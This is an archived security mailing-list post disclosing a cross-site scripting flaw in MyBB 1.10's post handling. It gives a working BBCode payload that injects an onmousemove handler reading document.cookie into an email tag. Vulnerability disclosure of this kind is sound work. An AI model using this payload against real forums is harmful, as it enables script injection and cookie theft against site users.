[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

MyBB 1.10 New CrossSiteScripting



MyBB 1.10 CrossSiteScripting

	File :- inc/functions_post.php

BugTraqer :- Devil-00 < stranger-killer@xxxxxxxxxxx >

we can do attack by some unfilter tags :-
	
	Post New Thread Or New Replay With This Code :D
	And Try To Move The Mouse Over The Email ;)
	
	[code]
		[email=a" onmousemove="alert(document.cookie);" aaa@xxxxxxx]Click Here![/email]
	[/code]
Palestinian Hacker < Devil-00 | D3vil-0x1 >
	Visit Palestine Thro www.palestinepnly.com